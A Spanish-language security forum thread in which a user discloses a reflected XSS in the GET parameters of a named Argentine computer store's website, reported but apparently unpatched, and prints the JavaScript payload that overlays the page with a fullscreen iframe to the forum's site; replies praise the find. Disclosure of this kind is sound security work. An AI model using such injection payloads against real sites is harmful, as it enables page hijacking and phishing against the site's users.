[XSS] www.aikencomputacion.com.ar

¡Hola, muy buenas!

Estaba buscando para comprarme una GeForce nueva, cuando me topé con mi viejo amigo Aiken Computación (Argentina :P), y como todo amante de la informática y vulnerabilidades a nivel web, sentí la obligación de probar un XSS en una variable GET (jaja).

Tuve la idea de incluir un script JavaScript externo para no líarme bypasseando el addslashes de la web.

(P.D.: Es una "fullscreen" iframe).
[*] Imagen:

Citar

[*] URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[*] Vector utilizado: <script src=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta></script>
[*] Variables vulnerables: Todos los GET de la web.
[*] Reportado: SI (no reparado).

En definitiva, el vector final sería: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El código del JavaScript lo dejo aquí debajo (aunque también es visible desde el link del vector) para demostrar como funciona.

document.body.innerHTML = "<iframe style='position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;' src=http://www.underc0de.org/></iframe>";
alert("Underc0de.org");

¡Saludos!

Hola,

La imagen que has subido esta caída, prueba a ponerla en otro host.

Lo de modificar, ¿como que no te deja? Deberías encontrar la opción de modificar a la altura de la cabecera de tu post.

Por otro lado, buen descubrimiento.

Muy buen descubrimiento, espero seguir viendo aportes tuyos.

Verifica de nuevo si te permite editar el post.

Saludos.

  Excelente!! Vas a comprar algo y terminas buscando una vulnerabilidad! Esa es la actitud

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola,

La imagen que has subido esta caída, prueba a ponerla en otro host.

Lo de modificar, ¿como que no te deja? Deberías encontrar la opción de modificar a la altura de la cabecera de tu post.

Por otro lado, buen descubrimiento.

Gracias por avisar, voy a dejar de usar Google Drive como host jaja, imagen re subida.
¡Gracias!
(P.D.: Me daba error al modificar, una linda blank page :/ jaja).

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy buen descubrimiento, espero seguir viendo aportes tuyos.

Verifica de nuevo si te permite editar el post.

Saludos.

Si, ya se solucionó :-) Gracias por repararlo
Gracias, seguriás viendo aportes míos jaja

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Excelente!! Vas a comprar algo y terminas buscando una vulnerabilidad! Esa es la actitud

Jaja, no se como llegué a esto (? xD
Jaja gracias, ¡saludos!